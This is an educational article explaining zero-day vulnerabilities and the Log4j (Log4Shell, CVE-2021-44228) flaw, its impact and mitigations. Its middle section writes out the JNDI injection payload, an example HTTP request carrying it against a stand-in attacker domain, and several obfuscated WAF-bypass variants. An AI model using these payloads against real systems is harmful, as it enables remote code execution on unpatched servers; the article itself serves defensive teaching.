Why Log4j Is A 0-day Vulnerability

Overview of Zero-day Vulnerability

A zero-day vulnerability has been discovered but not yet patched in a device or system. A zero-day exploit is an exploit that targets a zero-day vulnerability. Zero-day refers to newly found security flaws that hackers can exploit to attack systems. Attackers use this newly discovered security flaw by exploiting organizations where developers recently found the fault, leaving them 0 days to patch the vulnerability. This type of vulnerability presents a high risk to organizations because the risk is exploited before the developers know the vulnerability exists.

Timeline of Zero-day Vulnerability

A zero-day vulnerability is a flaw that attackers get a chance to exploit before developers patch it. A zero-day vulnerability is also known as a 0-day vulnerability. The following is a timeline of 0-day vulnerability:

• The developers of an enterprise/organization develop software that contains unknown flaws.

• Sometimes the attacker notices the unknown security flaws before the developer does.

• The attacker creates a script/method to exploit the vulnerability which is not yet patched.

• After reporting the exploit publicly, the enterprise/organizations developers try to patch the vulnerability as soon as possible and release the fix.

Has Log4j Impacted So Many Organizations?

Vulnerability in Apache Log4j has gotten a lot of attention since its discovery in early December 2021. As security teams try to reduce the risks involved, this issue impacts a large number of enterprises all around the world. Log4j vulnerability leads to remote code execution by logging a statement. Many software services and tools involved in the daily operations of organizations are vulnerable to this exploit. Many company products are impacted by this vulnerability, like Adobe's cloud fusion, AWS Services (S3, Cloud front, AWS Glue, API Gateway, OpenSearch, and AWS Greengrass), Cisco products, Citrix products, and many more.

Any services or devices that use the java logging library between 2.0 and version 2.15 are vulnerable to log4 exploits.

How do attackers leverage log4j?

The Log4j vulnerability received a high CVSS score of 10.0, which is extremely dangerous. This vulnerability is known as CVE-2021-44228. One of the most prominent Java logging frameworks is Log4j2. Many Maven artifacts rely on log4j-core (the vulnerable artifact), and it is used in countless other Java projects.

This security flaw allows attackers/hackers to obtain privilege over many vulnerable targets. The JNDI(Java Naming and Directory Interface) can be leveraged to send a request to a vulnerable software/system using the below-formatted string.

“${jndi:ldap://<Attacker_Controlled_Domain>/<Exploit_file>}”

This domain "attackercontrolled.domain.com'' is under the control of an attacker, and the "exploit file" is the script/command executed in the victim's system. The above string can send a Get request to a vulnerable website to test the exploit.

Example: GET / HTTP/1.1 Host: Victim.domain.com User-Agent: ${jndi:ldap://attacker-controlled.domain.com/exploit file}

This syntax specifies that the log4j will use JNDI (Java Naming and Directory Interface). Finally, using this string can access external resources or "references."

The above payload is the generic syntax to perform a log4j attack. Web application firewalls (WAFs) may catch or quickly identify this syntax in some cases. As this exploit leverages log4j, this payload can have access to many packages and features so the attacker can mask, hide or obfuscate the payload using any number of techniques.

JNDI: A Java API for a directory service allows Java programs to search and discover data and resources by name. Its design is to work with any directory service implementation. As a result, a wide range of new and established directories can be accessed consistently.

The JNDI syntax can be used in any application/system where the data is logged. However, determining the attack surface for various apps and vulnerable applications is tricky. The inclusion of log4j files does not provide the specific version number of the package, nor does it reveal where or how the application might use it.

An attacker can build many attack string combinations using different protocols like LDAP and RMI and commands like upper/lower. There could be many bypasses that can be performed by an attacker, as shown below.

Example Bypasses: "${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackercontrolled.domain.com/exploitfile}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackercontrolled.domain.com/exploitfile}" "${${::-j}ndi:rmi://attackercontrolled.domain.com/exploitfile}"4 "${${upper:j}ndi:${upper:l}${upper:d}a${upper:p}://attackercontrolled.domain.com/exploitfile}"

Various online tools can test the log4j exploit. Below are a few resources that can be used to test quickly. log4j Vulnerability tester: https://log4j-tester.trendmicro.com/ Huntress Log4 Shell Vulnerability Tester: https://log4shell.huntress.com/

To learn more about log4j vulnerability exploitation and mitigation, please refer to: https://www.cybrary.it/course/exploitation-and-mitigation-log4j-cve-2021-44228/

How are organizations trying to mitigate log4j?

The organizations are upgrading to 2.17.1 (for Java 8 and later), 2.12.4 (for Java 7), and Log4j 2.3.2 (for Java 6)to mitigate the vulnerability. By default, the official fix removes JNDI support for the JDBCAppender and adds "log4j2.enableJndiJdbc," a system property that allows enabling.

Measures to reduce the vulnerable attack surface:

• Web application firewalls (WAF) and intrusion prevention systems (IPS) can detect and block attempts to exploit the Log4j vulnerability by inspecting network traffic. Firewall rules should be in place to restrict JNDI traffic to the attacker's system from the susceptible system.

• Other than LDAP, test JNDI-related naming services such as RMI, NIS, and CORBA. However, producing all relevant payloads, building up a test platform, and assessing your security measures against all of these payloads takes time.

• There could be more patches, so keep an eye on vendor updates. Furthermore, attack scenarios should be tested regularly to detect and close weaknesses in your security procedures.

• Update security policies and share the strategy with all company personnel, regardless of level. Report the incident to the C-suite and board of directors; brief them on their response via external communication to shareholders and partners. Employees should lookout for unexpected activity in their applications or endpoint devices, and they should be encouraged to report it. Users should be guided by IT support teams to update and patch applications on endpoints, similar to system administrators patching server-side applications.

To learn more about the incident response to mitigate vulnerabilities, please refer to: https://www.cybrary.it/course/incident-response-steps/

Attack scenarios to exploit the log4j vulnerability can expect to become more sophisticated in the future. Attackers have many endpoints due to the simplicity of exploitation and popularity of the log4j library.